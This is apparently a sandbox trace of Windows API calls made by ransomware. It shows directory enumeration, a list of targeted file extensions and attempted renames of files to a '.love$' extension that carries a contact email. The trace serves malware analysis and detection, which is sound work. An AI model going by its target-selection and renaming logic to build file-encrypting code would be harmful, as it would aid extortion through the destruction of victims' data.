lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0285.852] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3e00988 | out: hHeap=0x4e0000) returned 1 [0285.852] FindNextFileW (in: hFindFile=0x543950, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0285.853] FindClose (in: hFindFile=0x543950 | out: hFindFile=0x543950) returned 1 [0285.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0285.853] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0285.853] FindClose (in: hFindFile=0x543d10 | out: hFindFile=0x543d10) returned 1 [0285.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0285.853] FindNextFileW (in: hFindFile=0x543b90, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0285.856] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0285.856] FindNextFileW (in: hFindFile=0x5439d0, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0285.856] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0285.856] FindNextFileW (in: hFindFile=0x5439d0, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 Thread: id = 100 os_tid = 0x95c [0282.942] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x3750080 [0282.943] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x3760088 [0282.943] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53acf8 [0282.943] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a358 [0282.943] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53af08 [0282.943] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x3a08020 [0282.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ad10 [0282.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ad10, Size=0x20) returned 0x51d580 [0282.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ada0 [0282.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ada0, Size=0x20) returned 0x51d8f0 [0282.947] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.947] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.947] Wow64DisableWow64FsRedirection (in: OldValue=0x2fbff50 | out: OldValue=0x2fbff50*=0x0) returned 1 [0282.947] lstrlenW (lpString="kernel32.dll") returned 12 [0282.947] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.947] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.947] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.948] Sleep (dwMilliseconds=0x64) [0283.169] lstrcmpiW (lpString1=".MARKER", lpString2=".love$") returned 1 [0283.169] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0283.169] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.174] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=0) returned 1 [0283.174] CloseHandle (hObject=0x2d8) returned 1 [0283.174] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.174] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.174] lstrlenW (lpString=".doc") returned 4 [0283.174] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0283.174] lstrlenW (lpString=".docx") returned 5 [0283.174] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0283.174] lstrlenW (lpString=".pdf") returned 4 [0283.174] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0283.174] lstrlenW (lpString=".xls") returned 4 [0283.174] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0283.174] lstrlenW (lpString=".xlsx") returned 5 [0283.174] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0283.174] lstrlenW (lpString=".ppt") returned 4 [0283.174] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.175] lstrlenW (lpString=".zip") returned 4 [0283.175] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString=".rar") returned 4 [0283.175] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString=".bz2") returned 4 [0283.175] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString=".7z") returned 3 [0283.175] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0283.175] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.175] lstrlenW (lpString=".dbf") returned 4 [0283.175] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.175] lstrlenW (lpString=".1cd") returned 4 [0283.175] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.175] lstrlenW (lpString=".jpg") returned 4 [0283.175] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.175] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.175] lstrlenW (lpString=".doc") returned 4 [0283.175] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0283.175] lstrlenW (lpString=".docx") returned 5 [0283.175] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0283.175] lstrlenW (lpString=".pdf") returned 4 [0283.175] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString=".xls") returned 4 [0283.176] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString=".xlsx") returned 5 [0283.176] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0283.176] lstrlenW (lpString=".ppt") returned 4 [0283.176] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.176] lstrlenW (lpString=".zip") returned 4 [0283.176] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString=".rar") returned 4 [0283.176] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString=".bz2") returned 4 [0283.176] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString=".7z") returned 3 [0283.176] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0283.176] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.176] lstrlenW (lpString=".dbf") returned 4 [0283.176] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.176] lstrlenW (lpString=".1cd") returned 4 [0283.176] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0283.176] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0283.176] lstrlenW (lpString=".jpg") returned 4 [0283.176] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0283.177] Sleep (dwMilliseconds=0x64) [0283.400] Sleep (dwMilliseconds=0x64) [0283.644] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0283.644] lstrlenW (lpString="chs_boot.ttf") returned 12 [0283.644] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.645] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=3695719) returned 1 [0283.645] CloseHandle (hObject=0x318) returned 1 [0283.645] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0283.646] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.646] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0283.646] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.646] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.646] lstrlenW (lpString=".doc") returned 4 [0283.646] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.646] lstrlenW (lpString=".docx") returned 5 [0283.646] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.646] lstrlenW (lpString=".pdf") returned 4 [0283.646] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.646] lstrlenW (lpString=".xls") returned 4 [0283.646] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.646] lstrlenW (lpString=".xlsx") returned 5 [0283.646] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.646] lstrlenW (lpString=".ppt") returned 4 [0283.646] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.646] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.646] lstrlenW (lpString=".zip") returned 4 [0283.646] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.646] lstrlenW (lpString=".rar") returned 4 [0283.646] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.646] lstrlenW (lpString=".bz2") returned 4 [0283.646] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.646] lstrlenW (lpString=".7z") returned 3 [0283.646] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.646] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.646] lstrlenW (lpString=".dbf") returned 4 [0283.646] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.647] lstrlenW (lpString=".1cd") returned 4 [0283.647] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.647] lstrlenW (lpString=".jpg") returned 4 [0283.647] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.647] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.647] lstrlenW (lpString=".doc") returned 4 [0283.647] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString=".docx") returned 5 [0283.647] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.647] lstrlenW (lpString=".pdf") returned 4 [0283.647] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString=".xls") returned 4 [0283.647] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.647] lstrlenW (lpString=".xlsx") returned 5 [0283.647] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.647] lstrlenW (lpString=".ppt") returned 4 [0283.647] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.647] lstrlenW (lpString=".zip") returned 4 [0283.647] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.647] lstrlenW (lpString=".rar") returned 4 [0283.647] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString=".bz2") returned 4 [0283.647] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.647] lstrlenW (lpString=".7z") returned 3 [0283.647] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.647] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.647] lstrlenW (lpString=".dbf") returned 4 [0283.648] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.648] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.648] lstrlenW (lpString=".1cd") returned 4 [0283.648] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.648] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0283.648] lstrlenW (lpString=".jpg") returned 4 [0283.648] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.648] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0283.648] lstrlenW (lpString="cht_boot.ttf") returned 12 [0283.648] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.649] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=3878410) returned 1 [0283.649] CloseHandle (hObject=0x318) returned 1 [0283.649] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0283.650] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.650] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0283.650] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.650] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.650] lstrlenW (lpString=".doc") returned 4 [0283.650] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.650] lstrlenW (lpString=".docx") returned 5 [0283.650] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.650] lstrlenW (lpString=".pdf") returned 4 [0283.650] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.650] lstrlenW (lpString=".xls") returned 4 [0283.650] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.650] lstrlenW (lpString=".xlsx") returned 5 [0283.650] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.650] lstrlenW (lpString=".ppt") returned 4 [0283.650] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.650] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.650] lstrlenW (lpString=".zip") returned 4 [0283.650] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.650] lstrlenW (lpString=".rar") returned 4 [0283.650] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.650] lstrlenW (lpString=".bz2") returned 4 [0283.650] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.650] lstrlenW (lpString=".7z") returned 3 [0283.650] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.650] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.651] lstrlenW (lpString=".dbf") returned 4 [0283.651] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.651] lstrlenW (lpString=".1cd") returned 4 [0283.651] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.651] lstrlenW (lpString=".jpg") returned 4 [0283.651] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.651] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.651] lstrlenW (lpString=".doc") returned 4 [0283.651] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString=".docx") returned 5 [0283.651] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.651] lstrlenW (lpString=".pdf") returned 4 [0283.651] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString=".xls") returned 4 [0283.651] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.651] lstrlenW (lpString=".xlsx") returned 5 [0283.651] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.651] lstrlenW (lpString=".ppt") returned 4 [0283.651] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.651] lstrlenW (lpString=".zip") returned 4 [0283.651] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.651] lstrlenW (lpString=".rar") returned 4 [0283.651] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString=".bz2") returned 4 [0283.651] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.651] lstrlenW (lpString=".7z") returned 3 [0283.651] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.652] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.652] lstrlenW (lpString=".dbf") returned 4 [0283.652] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.652] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.652] lstrlenW (lpString=".1cd") returned 4 [0283.652] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.652] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0283.652] lstrlenW (lpString=".jpg") returned 4 [0283.652] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.652] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0283.652] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0283.652] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.655] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=1985867) returned 1 [0283.655] CloseHandle (hObject=0x318) returned 1 [0283.655] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0283.655] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.655] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0283.655] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.655] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.655] lstrlenW (lpString=".doc") returned 4 [0283.655] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.655] lstrlenW (lpString=".docx") returned 5 [0283.655] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.656] lstrlenW (lpString=".pdf") returned 4 [0283.656] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString=".xls") returned 4 [0283.656] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.656] lstrlenW (lpString=".xlsx") returned 5 [0283.656] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.656] lstrlenW (lpString=".ppt") returned 4 [0283.656] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.656] lstrlenW (lpString=".zip") returned 4 [0283.656] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.656] lstrlenW (lpString=".rar") returned 4 [0283.656] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString=".bz2") returned 4 [0283.656] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString=".7z") returned 3 [0283.656] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.656] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.656] lstrlenW (lpString=".dbf") returned 4 [0283.656] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.656] lstrlenW (lpString=".1cd") returned 4 [0283.656] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.656] lstrlenW (lpString=".jpg") returned 4 [0283.656] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.656] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.656] lstrlenW (lpString=".doc") returned 4 [0283.656] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.656] lstrlenW (lpString=".docx") returned 5 [0283.656] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.657] lstrlenW (lpString=".pdf") returned 4 [0283.657] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.657] lstrlenW (lpString=".xls") returned 4 [0283.657] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.657] lstrlenW (lpString=".xlsx") returned 5 [0283.657] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.657] lstrlenW (lpString=".ppt") returned 4 [0283.657] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.657] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.657] lstrlenW (lpString=".zip") returned 4 [0283.657] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.657] lstrlenW (lpString=".rar") returned 4 [0283.657] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.657] lstrlenW (lpString=".bz2") returned 4 [0283.657] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.657] lstrlenW (lpString=".7z") returned 3 [0283.657] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.657] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.657] lstrlenW (lpString=".dbf") returned 4 [0283.657] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.657] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.657] lstrlenW (lpString=".1cd") returned 4 [0283.657] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.657] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0283.658] 